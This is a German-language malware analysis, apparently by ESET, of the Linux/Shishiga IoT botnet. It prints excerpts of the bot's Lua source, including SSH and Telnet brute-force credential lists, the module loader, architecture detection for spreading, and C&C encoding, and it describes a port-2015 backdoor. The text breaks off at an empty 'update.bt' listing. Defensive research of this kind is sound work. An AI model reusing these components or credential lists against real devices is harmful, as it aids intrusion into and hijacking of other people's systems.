Laut Analyse von ESET hebt sich Linux/Shishiga durch die Verwendung des BitTorrent-Protokolls und der Lua-Module von anderen Malware-Arten ab.
Unter allen Linux Samples, die tagtäglich bei ESET eintreffen, fiel eines besonders auf. Es wurde lediglich von Dr.Web als Linux.LuaBot erkannt. ESETs Sicherheitsforscher hielten das für verdächtig, da die Erkennungsraten für die LuaBot Familie im Allgemeinen sehr hoch waren. Bei einer genaueren Analyse stellte sich heraus, dass der Bot tatsächlich in Lua geschrieben wurde. ESET entdeckte eine neue Malware-Familie, die nicht mit der bisherigen LuaBot-Malware im Zusammenhang steht. Die Forscher gaben der Malware-Familie einen neuen Namen: Linux/Shishiga. Die Malware verwendet vier verschiedene Protokolle (SSH – Telnet – HTTP – BitTorrent) und die Lua-Skriptsprache für die Modularität.
Wo begegnet man Linux/Shishiga?
Linux/Shishiga zielt auf GNU/Linux Systeme ab. Der Weg der Kompromittierung ist relativ geläufig: Durch Bruteforcing wird versucht, schwache Login-Daten mit Hilfe einer Passwortliste zu knacken. Man kann gewisse Parallelen zu Linux/Moose erkennen – nun allerdings mit dem Zusatz, dass auch SSH-Anmeldeinformationen mittels Bruteforcing angegriffen werden.
Die vollständige Liste mit versuchten Anmeldeinformationen sah bei der Erstellung des Artikels wie folgt aus:
bftelnet.lua
|
1 2 3 4 5 6 7 8 9 10 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="lua"><span class="tok-p">[...]</span> <span class="tok-kd">local</span> <span class="tok-n">accounts</span><span class="tok-o">=</span><span class="tok-p">{</span> <span class="tok-p">{</span><span class="tok-s2">"admin"</span><span class="tok-p">,</span><span class="tok-s2">"admin"</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"root"</span><span class="tok-p">,</span><span class="tok-s2">"root"</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"adm"</span><span class="tok-p">,</span><span class="tok-s2">"adm"</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"acer"</span><span class="tok-p">,</span><span class="tok-s2">"acer"</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"user"</span><span class="tok-p">,</span><span class="tok-s2">"user"</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"security"</span><span class="tok-p">,</span><span class="tok-s2">"security"</span><span class="tok-p">}</span> <span class="tok-p">}</span> <span class="tok-p">[...]</span></code></span> |
bfssh.lua
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="lua"><span class="tok-p">[...]</span> <span class="tok-kd">local</span> <span class="tok-n">accounts</span><span class="tok-o">=</span><span class="tok-p">{</span> <span class="tok-p">{</span><span class="tok-s2">"admin"</span><span class="tok-p">,</span><span class="tok-s2">"admin"</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"root"</span><span class="tok-p">,</span><span class="tok-s2">"root"</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"adm"</span><span class="tok-p">,</span><span class="tok-s2">"adm"</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"ubnt"</span><span class="tok-p">,</span><span class="tok-s2">"ubnt"</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"root"</span><span class="tok-p">,</span><span class="tok-s2">""</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"admin"</span><span class="tok-p">,</span><span class="tok-s2">""</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"adm"</span><span class="tok-p">,</span><span class="tok-s2">""</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"user"</span><span class="tok-p">,</span><span class="tok-s2">"user"</span><span class="tok-p">},</span> <span class="tok-p">{</span><span class="tok-s2">"pi"</span><span class="tok-p">,</span><span class="tok-s2">"pi"</span><span class="tok-p">},</span> <span class="tok-p">}</span> <span class="tok-cm">--[[</span> <span class="tok-cm"> {"acer","acer"},</span> <span class="tok-cm"> {"security","security"},</span> <span class="tok-cm"> {"root","toor"},</span> <span class="tok-cm"> {"root","roottoor"},</span> <span class="tok-cm"> {"root","password"},</span> <span class="tok-cm"> {"root","test"},</span> <span class="tok-cm"> {"root","abc123"},</span> <span class="tok-cm"> {"root","111111"},</span> <span class="tok-cm"> {"root","1q2w3e"},</span> <span class="tok-cm"> {"root","oracle"},</span> <span class="tok-cm"> {"root","1q2w3e4r"},</span> <span class="tok-cm"> {"root","123123"},</span> <span class="tok-cm"> {"root","qwe123"},</span> <span class="tok-cm"> {"root","p@ssw0rd"},</span> <span class="tok-cm"> {"root","1"},</span> <span class="tok-cm"> {"root","12"},</span> <span class="tok-cm"> {"root","123"},</span> <span class="tok-cm"> {"root","1234"},</span> <span class="tok-cm"> {"root","12346"},</span> <span class="tok-cm"> {"root","123467"},</span> <span class="tok-cm"> {"root","1234678"},</span> <span class="tok-cm"> {"root","12346789"},</span> <span class="tok-cm"> {"root","123467890"},</span> <span class="tok-cm"> {"root","qwerty"},</span> <span class="tok-cm"> {"root","pass"},</span> <span class="tok-cm"> {"root","toor"},</span> <span class="tok-cm"> {"root","roottoor"},</span> <span class="tok-cm"> {"root","password123"},</span> <span class="tok-cm"> {"root","password123456"},</span> <span class="tok-cm"> {"root","pass123"},</span> <span class="tok-cm"> {"root","password"},</span> <span class="tok-cm"> {"root","passw0rd"},</span> <span class="tok-cm"> {"root","1qaz"},</span> <span class="tok-cm"> {"root","1qaz2wsx"},</span> <span class="tok-cm"> {"root","asdfgh"},</span> <span class="tok-cm"> {"user","user"},</span> <span class="tok-cm"> {"user",""},</span> <span class="tok-cm"> {"acer","acer"},</span> <span class="tok-cm"> {"security","security"},</span> <span class="tok-cm"> {"root","passw0rds"},</span> <span class="tok-cm">]]</span> <span class="tok-p">[...]</span></code></span> |
ESET sind unterschiedliche Binärdateien für Linux/Shishiga aufgefallen. Diese sind für verschiedene Architekturen wie MIPS (Big- und Little-Endian), ARM (armv4l), i686 und PowerPC gedacht. Die aufgezählten Architekturen sind besonders in IoT-Geräten zu finden. Es ist außerdem denkbar, dass auch SPARC, SH-4 oder m68k Architekturen unterstützt werden könnten. Dazu aber später mehr.
Fähigkeiten von Linux/Shishiga
Linux/Shishiga ist eine mit UPX 3.91 (Ultimate Packer for Executables) gepackte Binärdatei. Das UPX-Tool wird allerdings Probleme beim Entpacken der Binärdatei haben, da die Linux/Shishiga Malware Daten am Ende der gepackten Datei hinzufügt hat.
Nach dem Entpacken stellte ESET fest, dass die Malware statisch mit der Lua-Laufzeitbibliothek verknüpft und von allen Symbolen befreit ist.
|
1 2 3 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="sh">$ file unpacked.i686.lm unpacked.i686.lm: ELF <span class="tok-m">32</span>-bit LSB executable, Intel <span class="tok-m">80386</span>, version <span class="tok-m">1</span> <span class="tok-o">(</span>GNU/Linux<span class="tok-o">)</span>, statically linked, stripped</code></span> |
Einmal ausgeführt, initialisiert die Binärdatei das Malware Lua-Modul mit den folgenden Methoden:
Malware methods
|
1 2 3 4 5 6 7 8 9 10 11 12 |
<span style="font-family: helvetica, arial, sans-serif;">malware_module_methods dd offset aGetver ; "getver" dd offset getver dd offset aGetos ; "getos" dd offset getos dd offset aGetarch ; "getarch" dd offset getarch dd offset aGetmacaddr ; "getmacaddr" dd offset getmacaddr dd offset aGetmods ; "getmods" dd offset getmods dd offset aSetargs ; "setargs" dd offset setargs</span> |
Die getmods-Methode gibt den Archiv-Blob zurück. Dann wird hartcodierter Lua-Code (malware.lua) über die Funktionen luaL_loadstring und lua_pcall ausgeführt. Normalerweise ist der Lua-Code recht schlicht. Wir haben den Code hier einmal ohne irgendwelche Veränderungen unsererseits aufgelistet:
malware.lua
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="lua"><span class="tok-kd">local</span> <span class="tok-n">unistd</span><span class="tok-o">=</span><span class="tok-nb">require</span><span class="tok-p">(</span><span class="tok-s2">"posix.unistd"</span><span class="tok-p">)</span> <span class="tok-nb">require</span><span class="tok-p">(</span><span class="tok-s2">"malware"</span><span class="tok-p">)</span> <span class="tok-kr">function</span> <span class="tok-nf">getexe</span><span class="tok-p">()</span> <span class="tok-kd">local</span> <span class="tok-n">fn</span><span class="tok-o">=</span><span class="tok-n">unistd</span><span class="tok-p">.</span><span class="tok-n">readlink</span><span class="tok-p">(</span><span class="tok-s2">"/proc/self/exe"</span><span class="tok-p">)</span> <span class="tok-kr">if</span> <span class="tok-n">fn</span><span class="tok-o">==</span><span class="tok-kc">nil</span> <span class="tok-ow">and</span> <span class="tok-n">arg</span><span class="tok-o">~=</span><span class="tok-kc">nil</span> <span class="tok-kr">then</span> <span class="tok-n">fn</span><span class="tok-o">=</span><span class="tok-n">arg</span><span class="tok-p">[</span><span class="tok-mi">0</span><span class="tok-p">]</span> <span class="tok-c1">--symlink removed</span> <span class="tok-kr">end</span> <span class="tok-kr">if</span> <span class="tok-n">fn</span><span class="tok-o">==</span><span class="tok-kc">nil</span> <span class="tok-kr">then</span> <span class="tok-nb">print</span><span class="tok-p">(</span><span class="tok-s2">"couldn't find bot file"</span><span class="tok-p">)</span> <span class="tok-kr">return</span> <span class="tok-kc">nil</span> <span class="tok-kr">end</span> <span class="tok-kd">local</span> <span class="tok-n">file</span><span class="tok-o">=</span><span class="tok-nb">io.open</span><span class="tok-p">(</span><span class="tok-n">fn</span><span class="tok-p">,</span><span class="tok-s2">"r"</span><span class="tok-p">)</span> <span class="tok-kr">if</span> <span class="tok-n">file</span><span class="tok-o">==</span><span class="tok-kc">nil</span> <span class="tok-kr">then</span> <span class="tok-nb">print</span><span class="tok-p">(</span><span class="tok-s2">"couldn't find bot file"</span><span class="tok-p">)</span> <span class="tok-kr">return</span> <span class="tok-kc">nil</span> <span class="tok-kr">end</span> <span class="tok-kd">local</span> <span class="tok-n">data</span><span class="tok-o">=</span><span class="tok-n">file</span><span class="tok-p">:</span><span class="tok-n">read</span><span class="tok-p">(</span><span class="tok-s2">"*all"</span><span class="tok-p">)</span> <span class="tok-n">file</span><span class="tok-p">:</span><span class="tok-n">close</span><span class="tok-p">()</span> <span class="tok-kr">return</span> <span class="tok-n">data</span> <span class="tok-kr">end</span> <span class="tok-kr">function</span> <span class="tok-nf">getMods</span><span class="tok-p">()</span> <span class="tok-kr">return</span> <span class="tok-n">zlib</span><span class="tok-p">.</span><span class="tok-n">inflate</span><span class="tok-p">()(</span><span class="tok-n">malware</span><span class="tok-p">.</span><span class="tok-n">getmods</span><span class="tok-p">())</span> <span class="tok-kr">end</span> <span class="tok-kr">function</span> <span class="tok-nf">getScriptFiles</span><span class="tok-p">(</span><span class="tok-n">scripts</span><span class="tok-p">)</span> <span class="tok-kd">local</span> <span class="tok-n">files</span><span class="tok-o">=</span><span class="tok-p">{}</span> <span class="tok-kd">local</span> <span class="tok-n">i</span><span class="tok-o">=</span><span class="tok-mi">1</span> <span class="tok-kr">while</span> <span class="tok-kc">true</span> <span class="tok-kr">do</span> <span class="tok-kd">local</span> <span class="tok-n">a1</span><span class="tok-p">,</span><span class="tok-n">b1</span><span class="tok-p">,</span><span class="tok-n">c1</span><span class="tok-o">=</span><span class="tok-nb">string.find</span><span class="tok-p">(</span><span class="tok-n">scripts</span><span class="tok-p">,</span><span class="tok-s1">'%-%-script%-begin%-%-([%w%.]+)%-%-'</span><span class="tok-p">,</span><span class="tok-n">i</span><span class="tok-p">)</span> <span class="tok-kr">if</span> <span class="tok-n">a1</span><span class="tok-o">==</span><span class="tok-kc">nil</span> <span class="tok-kr">then</span> <span class="tok-kr">break</span> <span class="tok-kr">end</span> <span class="tok-kd">local</span> <span class="tok-n">a2</span><span class="tok-p">,</span><span class="tok-n">b2</span><span class="tok-p">,</span><span class="tok-n">c2</span><span class="tok-o">=</span><span class="tok-nb">string.find</span><span class="tok-p">(</span><span class="tok-n">scripts</span><span class="tok-p">,</span><span class="tok-s1">'%-%-script%-end%-%-([%w%.]+)%-%-'</span><span class="tok-p">,</span><span class="tok-n">i</span><span class="tok-p">)</span> <span class="tok-kr">if</span> <span class="tok-n">a2</span><span class="tok-o">==</span><span class="tok-kc">nil</span> <span class="tok-kr">then</span> <span class="tok-kr">break</span> <span class="tok-kr">end</span> <span class="tok-kr">if</span> <span class="tok-n">c1</span><span class="tok-o">~=</span><span class="tok-n">c2</span> <span class="tok-kr">then</span> <span class="tok-kr">return</span> <span class="tok-kc">nil</span> <span class="tok-kr">end</span> <span class="tok-kd">local</span> <span class="tok-n">src</span><span class="tok-o">=</span><span class="tok-nb">string.sub</span><span class="tok-p">(</span><span class="tok-n">scripts</span><span class="tok-p">,</span><span class="tok-n">b1</span><span class="tok-o">+</span><span class="tok-mi">1</span><span class="tok-p">,</span><span class="tok-n">a2</span><span class="tok-o">-</span><span class="tok-mi">1</span><span class="tok-p">)</span> <span class="tok-n">i</span><span class="tok-o">=</span><span class="tok-n">b2</span><span class="tok-o">+</span><span class="tok-mi">1</span> <span class="tok-n">files</span><span class="tok-p">[</span><span class="tok-n">c1</span><span class="tok-p">]</span><span class="tok-o">=</span><span class="tok-n">src</span> <span class="tok-kr">end</span> <span class="tok-kr">return</span> <span class="tok-n">files</span> <span class="tok-kr">end</span> <span class="tok-n">malware</span><span class="tok-p">.</span><span class="tok-n">exe</span><span class="tok-o">=</span><span class="tok-n">getexe</span><span class="tok-p">()</span> <i class="conum" data-value="1"></i><b>(1)</b> <span class="tok-kd">local</span> <span class="tok-n">modules</span><span class="tok-o">=</span><span class="tok-n">getScriptFiles</span><span class="tok-p">(</span><span class="tok-n">getMods</span><span class="tok-p">())</span> <i class="conum" data-value="2"></i><b>(2)</b> <span class="tok-p">[...]</span> <span class="tok-n">f</span><span class="tok-o">=</span><span class="tok-nb">load</span><span class="tok-p">(</span><span class="tok-n">malware</span><span class="tok-p">.</span><span class="tok-n">modules</span><span class="tok-p">[</span><span class="tok-s1">'main.lua'</span><span class="tok-p">])</span> <i class="conum" data-value="3"></i><b>(3)</b> <span class="tok-kd">local</span> <span class="tok-n">s</span><span class="tok-p">,</span><span class="tok-n">err</span><span class="tok-o">=</span><span class="tok-nb">pcall</span><span class="tok-p">(</span><span class="tok-n">f</span><span class="tok-p">)</span> <span class="tok-kr">if</span> <span class="tok-n">s</span><span class="tok-o">==</span><span class="tok-kc">false</span> <span class="tok-kr">then</span> <span class="tok-nb">print</span><span class="tok-p">(</span><span class="tok-n">err</span><span class="tok-p">)</span> <span class="tok-kr">end</span></code></span> |
| (1) | Öffnet die heruntergeladene Malware-Datei von /proc/self/exe und gibt den Inhalt zurück; |
| (2) | Ruft das zlib-Archiv über die getmods-Methode auf, dekomprimiert es, analysiert es mit Hilfe von Tags und speichert es in einem Lua-Array; |
| (3) | Aufruf des main.lua Moduls; |
Es gibt eine ausführliche Liste aller Lua-Skripte im IoC-Bereich am Ende dieses Artikels. Die meisten von ihnen besitzen selbsterklärende Dateinamen. Wir wollen dennoch auf einige von ihnen kurz eingehen.
callhome.lua
- Abrufen der Konfigurationsdatei
server.btoderservervonconfig.lua; - Wenn der aktuelle Standardserver nicht erreicht wird → Wechsel zu anderem Server;
- Sendet Dateien (Berichte oder Konten, beide JSON formatiert);
- Aufgaben werden aus der vom C&C-Server abgerufenen Aufgabenliste ausgeführt.
bfssh.lua / bftelnet.lua
- Modul, um SSH- und Telnet-Logins Bruteforcing zu unterziehen;
- Überprüft, ob der Befehl
echo -en "\\ x31 \\ x33 \\ x33 \\ x37"→1337ausgibt; wenn nicht, abbrechen; sonst fortfahren; - Die Gerätearchitektur wird aus der Datei
/bin/lsbestimmt, indemcat /bin/lsausgeführt und der ELF-Header analysiert wird, siehe unten; - verbreitet die Malware (*.lm und *.dm Dateien) entsprechend der Gerätearchitektur;
- speichert erfolgreiche Anmeldeinformationen;
Der Architekturprüfcode lautet wie folgt:
bfssh.lua, getArchELF method
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="lua"><span class="tok-kr">function</span> <span class="tok-nc">bfssh</span><span class="tok-p">.</span><span class="tok-nf">getArchELF</span><span class="tok-p">(</span><span class="tok-n">text</span><span class="tok-p">)</span> <span class="tok-kd">local</span> <span class="tok-n">bits</span><span class="tok-p">,</span><span class="tok-n">denc</span><span class="tok-p">,</span><span class="tok-n">ver</span><span class="tok-p">,</span><span class="tok-n">ftype</span><span class="tok-p">,</span><span class="tok-n">farch</span> <span class="tok-kr">if</span> <span class="tok-n">text</span><span class="tok-o">==</span><span class="tok-kc">nil</span> <span class="tok-kr">then</span> <span class="tok-kr">return</span> <span class="tok-kc">nil</span> <span class="tok-kr">end</span> <span class="tok-kd">local</span> <span class="tok-n">i</span><span class="tok-o">=</span><span class="tok-n">text</span><span class="tok-p">:</span><span class="tok-n">find</span><span class="tok-p">(</span><span class="tok-s2">"</span><span class="tok-se">\x7f</span><span class="tok-s2">ELF"</span><span class="tok-p">)</span> <i class="conum" data-value="1"></i><b>(1)</b> <span class="tok-kr">if</span> <span class="tok-n">i</span><span class="tok-o">~=</span><span class="tok-kc">nil</span> <span class="tok-kr">then</span> <span class="tok-n">bits</span><span class="tok-p">,</span><span class="tok-n">denc</span><span class="tok-p">,</span><span class="tok-n">ver</span><span class="tok-o">=</span><span class="tok-nb">string.unpack</span><span class="tok-p">(</span><span class="tok-s2">"<BBB"</span><span class="tok-p">,</span><span class="tok-n">text</span><span class="tok-p">:</span><span class="tok-n">sub</span><span class="tok-p">(</span><span class="tok-n">i</span><span class="tok-o">+</span><span class="tok-mi">4</span><span class="tok-p">))</span> <span class="tok-kr">if</span> <span class="tok-n">denc</span><span class="tok-o">==</span><span class="tok-mi">1</span> <span class="tok-kr">then</span> <span class="tok-n">ftype</span><span class="tok-p">,</span><span class="tok-n">farch</span><span class="tok-o">=</span><span class="tok-nb">string.unpack</span><span class="tok-p">(</span><span class="tok-s2">"<HH"</span><span class="tok-p">,</span><span class="tok-n">text</span><span class="tok-p">:</span><span class="tok-n">sub</span><span class="tok-p">(</span><span class="tok-n">i</span><span class="tok-o">+</span><span class="tok-mi">16</span><span class="tok-p">))</span> <i class="conum" data-value="2"></i><b>(2)</b> <span class="tok-kr">else</span> <span class="tok-n">ftype</span><span class="tok-p">,</span><span class="tok-n">farch</span><span class="tok-o">=</span><span class="tok-nb">string.unpack</span><span class="tok-p">(</span><span class="tok-s2">">HH"</span><span class="tok-p">,</span><span class="tok-n">text</span><span class="tok-p">:</span><span class="tok-n">sub</span><span class="tok-p">(</span><span class="tok-n">i</span><span class="tok-o">+</span><span class="tok-mi">16</span><span class="tok-p">))</span> <span class="tok-kr">end</span> <span class="tok-kr">end</span> <span class="tok-kr">return</span> <span class="tok-n">bits</span><span class="tok-p">,</span><span class="tok-n">denc</span><span class="tok-p">,</span><span class="tok-n">farch</span> <i class="conum" data-value="3"></i><b>(3)</b> <span class="tok-kr">end</span></code></span> |
| (1) | Jede ELF-Datei muss mit \x7fELF starten |
| (2) | ftype , die e_type (ELF Dateityp = ausführbare Programme, linkbare Module und Objektdateien) darstellen, werden nicht gebraucht. |
| (3) | bits stellt e_ident[EI_CLASS] (32-bit or 64-bit) dar,
und |
bfssh.lua, getArchName method
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="lua"><span class="tok-kr">function</span> <span class="tok-nc">bfssh</span><span class="tok-p">.</span><span class="tok-nf">getArchName</span><span class="tok-p">(</span><span class="tok-n">bits</span><span class="tok-p">,</span><span class="tok-n">denc</span><span class="tok-p">,</span><span class="tok-n">farch</span><span class="tok-p">)</span> <i class="conum" data-value="1"></i><b>(1)</b> <span class="tok-kr">if</span> <span class="tok-n">farch</span><span class="tok-o">==</span><span class="tok-mh">0x8</span> <span class="tok-ow">and</span> <span class="tok-n">denc</span><span class="tok-o">==</span><span class="tok-mi">1</span> <span class="tok-kr">then</span> <i class="conum" data-value="2"></i><b>(2)</b> <span class="tok-kr">return</span> <span class="tok-s2">"mipsel"</span> <span class="tok-kr">end</span> <span class="tok-kr">if</span> <span class="tok-n">farch</span><span class="tok-o">==</span><span class="tok-mh">0x8</span> <span class="tok-ow">and</span> <span class="tok-n">denc</span><span class="tok-o">==</span><span class="tok-mi">2</span> <span class="tok-kr">then</span> <span class="tok-kr">return</span> <span class="tok-s2">"mips"</span> <span class="tok-kr">end</span> <span class="tok-kr">if</span> <span class="tok-n">farch</span><span class="tok-o">==</span><span class="tok-mh">0x28</span> <span class="tok-kr">then</span> <span class="tok-kr">return</span> <span class="tok-s2">"armv4l"</span> <span class="tok-kr">end</span> <span class="tok-kr">if</span> <span class="tok-n">farch</span><span class="tok-o">==</span><span class="tok-mh">0x2</span> <span class="tok-kr">then</span> <span class="tok-kr">return</span> <span class="tok-s2">"sparc"</span> <span class="tok-kr">end</span> <span class="tok-kr">if</span> <span class="tok-n">farch</span><span class="tok-o">==</span><span class="tok-mh">0x2a</span> <span class="tok-kr">then</span> <span class="tok-kr">return</span> <span class="tok-s2">"sh4"</span> <span class="tok-kr">end</span> <span class="tok-kr">if</span> <span class="tok-n">farch</span><span class="tok-o">==</span><span class="tok-mh">0x4</span> <span class="tok-kr">then</span> <span class="tok-kr">return</span> <span class="tok-s2">"m68k"</span> <span class="tok-kr">end</span> <span class="tok-kr">if</span> <span class="tok-n">farch</span><span class="tok-o">==</span><span class="tok-mh">0x14</span> <span class="tok-kr">then</span> <span class="tok-kr">return</span> <span class="tok-s2">"powerpc"</span> <span class="tok-kr">end</span> <span class="tok-kr">if</span> <span class="tok-n">farch</span><span class="tok-o">==</span><span class="tok-mh">0x3</span> <span class="tok-ow">or</span> <span class="tok-n">farch</span><span class="tok-o">==</span><span class="tok-mh">0x7</span> <span class="tok-ow">or</span> <span class="tok-n">farch</span><span class="tok-o">==</span><span class="tok-mh">0x3e</span> <span class="tok-kr">then</span> <i class="conum" data-value="3"></i><b>(3)</b> <span class="tok-kr">return</span> <span class="tok-s2">"i686"</span> <span class="tok-kr">end</span> <span class="tok-kr">return</span> <span class="tok-kc">nil</span> <span class="tok-kr">end</span></code></span> |
| (1) | bits wird nicht verwendet |
| (2) | Überprüft, ob Datei für MIPS Little Endian ist (e_machine == EM_MIPS und e_ident[EI_DATA] == ELFDATA2LSB) |
| (3) | Prüft, ob Datei für Intel 80386 oder Intel 80860 oder AMD x86-64 ist (e_machine == EM_386 oder e_machine == EM_860 oder e_machine == EM_X86_64) |
config.lua
- enthält den publicKey, um die Signatur der Binärdatei (.lm oder .dm) zu überprüfen;
- enthält bootstrap nodes list;
- enthält Dateinamen von .bt-Dateien, Portnummern von SOCKS und HTTP-Servern;
- enthält die IP-Adresse des Servers (wahrscheinlich des C & C-Servers).
persist.lua
- Persistenzmethode, abhängig vom Nutzerrecht (Root oder User)
scanner.lua
- verwendet, um zufällige /16-Netzwerke zu generieren, die nicht local sind
worm.lua (Dieses Skript wurde in der neuesten Version von Linux/Shishiga entfernt)
- ermöglicht das Scannen eines bestimmen Ports;
- ermöglicht einen Upload;
- bekommt Informationen vom neuen infizierten Server
Die folgenden Zeilen in der readme.lua dürften bei Russisch Sprechenden Aufmerksamkeit erzeugen:
|
1 2 3 4 5 6 7 8 9 |
<span style="font-family: helvetica, arial, sans-serif;"> ВСЁ ИДЁТ ПО ПЛАНУ А при коммунизме всё будет заебись Он наступит скоро — надо только подождать Там всё будет бесплатно,там всё будет в кайф Там наверное вощще не надо будет (умирать) Я проснулся среди ночи и понял, что - ВСЁ ИДЁТ ПО ПЛАНУ</span> |
Übersetzt:
|
1 2 3 4 5 6 7 8 9 |
<span style="font-family: helvetica, arial, sans-serif;"> ALLES LÄUFT NACH PLAN Wenn der Kommunismus kommt, wird es alles gut werden. Er wird bald kommen, wir müssen nur abwarten. Alles dort wird frei sein, alles wird besser werden. Wir werden wahrscheinlich nicht einmal sterben müssen. Ich erwachte inmitten der Nacht und erkannte: ALLES LÄUFT NACH PLAN</span> |
Es scheint so, als ob sich der Malware-Entwickler von den letzten Versen des Titelsongs des Albums Everything goes according to plan von Jegor Letow hat beeinflussen lassen.
In den vergangenen Wochen hat ESET einige kleinere Änderungen beobachten können. Teilweise wurden einige Module umgeschrieben, Testmodule hinzugefügt oder redundante Dateien entfernt – insgesamt aber nichts, was besonders hervorgehoben werden müsste.
Während die Haupt-Binärdatei <architecture>.lm heißt, gelang es ESET aber auch, Binärdateien mit dem Namen <Architektur>.dm abzufangen. Dahinter verbirgt sich eine einfache Hintertür (Backdoor), die auf 0.0.0.0 (alle IPv4-Adressen) an Port 2015 lauscht. Eine kleine Namensänderung wurde in der Backdoor-Binary vorgenommen – man änderte dl in dm.
Linux/Shishiga Kommunikation
Linux/Shishiga kann durch die Module httpproto.lua, btloader.lua oder server.lua kommunizieren. Das Modul httpproto.lua verfügt über Funktionen, mit denen die angegebenen Daten codiert oder decodiert und HTTP-POST- und GET-Anfragen erstellt werden können. Der untere Quellcode zeigt den Prozess der Codierung von Daten.
httpproto.lua
|
1 2 3 4 5 6 7 8 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="lua"><span class="tok-p">[...]</span> <span class="tok-kr">function</span> <span class="tok-nc">httpproto</span><span class="tok-p">.</span><span class="tok-nf">encode</span><span class="tok-p">(</span><span class="tok-n">data</span><span class="tok-p">)</span> <span class="tok-kd">local</span> <span class="tok-n">msg</span><span class="tok-o">=</span><span class="tok-n">bencode</span><span class="tok-p">.</span><span class="tok-n">encode</span><span class="tok-p">(</span><span class="tok-n">data</span><span class="tok-p">)</span> <span class="tok-kd">local</span> <span class="tok-n">c</span><span class="tok-o">=</span><span class="tok-n">zlib</span><span class="tok-p">.</span><span class="tok-n">crc32</span><span class="tok-p">()(</span><span class="tok-n">msg</span><span class="tok-p">)</span> <span class="tok-kd">local</span> <span class="tok-n">k</span><span class="tok-o">=</span><span class="tok-nb">string.pack</span><span class="tok-p">(</span><span class="tok-s2">"<I"</span><span class="tok-p">,</span><span class="tok-n">utils</span><span class="tok-p">.</span><span class="tok-n">random</span><span class="tok-p">())</span> <span class="tok-kr">return</span> <span class="tok-n">k</span><span class="tok-o">..</span><span class="tok-n">crypto</span><span class="tok-p">.</span><span class="tok-n">rc4</span><span class="tok-p">(</span><span class="tok-n">k</span><span class="tok-p">,</span><span class="tok-nb">string.pack</span><span class="tok-p">(</span><span class="tok-s2">"<I"</span><span class="tok-p">,</span><span class="tok-n">c</span><span class="tok-p">)</span><span class="tok-o">..</span><span class="tok-n">msg</span><span class="tok-p">)</span> <span class="tok-kr">end</span> <span class="tok-p">[...]</span></code></span> |
btloader.lua verwendet das torrent.lua-Modul (ein Wrapper für BitTorrent-Funktionen), um Nodes in der Datei nodes.cfg zu speichern oder aus dieser zu laden. Außerdem empfängt es seine Konfigurationsinformationen von {server,update,script}.bt – Dateien (im Bencode-Format) und nutzt das BitTorrent Protokoll, um nach neuen Versionen der Dateien zu suchen. script.bt erlaubt das Ausführen eines Lua-Skripts. update.bt realisiert die Ausführung der .lm-Binärdatei. Im Folgenden finden sich Beispiele für dekodierte .bt-Dateien, die als Python-Wörterbücher angezeigt werden.
script.bt
|
1 2 3 4 5 6 7 |
<span style="font-family: helvetica, arial, sans-serif;"><code data-lang="python"><span class="tok-p">{</span> <span class="tok-s1">'sig'</span><span class="tok-p">:</span> <span class="tok-o"><</span><span class="tok-n">removed</span><span class="tok-o">></span><span class="tok-p">,</span><i class="conum" data-value="1"></i><b>(1)</b> <span class="tok-s1">'k'</span><span class="tok-p">:</span> <span class="tok-o"><</span><span class="tok-n">removed</span><span class="tok-o">></span><span class="tok-p">,</span><i class="conum" data-value="2"></i><b>(2)</b> <span class="tok-s1">'salt'</span><span class="tok-p">:</span> <span class="tok-s1">'script'</span><span class="tok-p">,</span> <span class="tok-s1">'seq'</span><span class="tok-p">:</span> <span class="tok-mi">1486885364</span><span class="tok-p">,</span> <span class="tok-s1">'v'</span><span class="tok-p">:</span> <span class="tok-s1">'caba4dbe2f7add9371b94b97cf0d351b72449072,test.lua</span><span class="tok-se">\n</span><span class="tok-s1">'</span> <span class="tok-p">}</span></code></span> |
| (1) | Signatur |
| (2) | Public Key |
update.bt
|
1 2 3 4 5 6 7 8 9 10 11 12 |
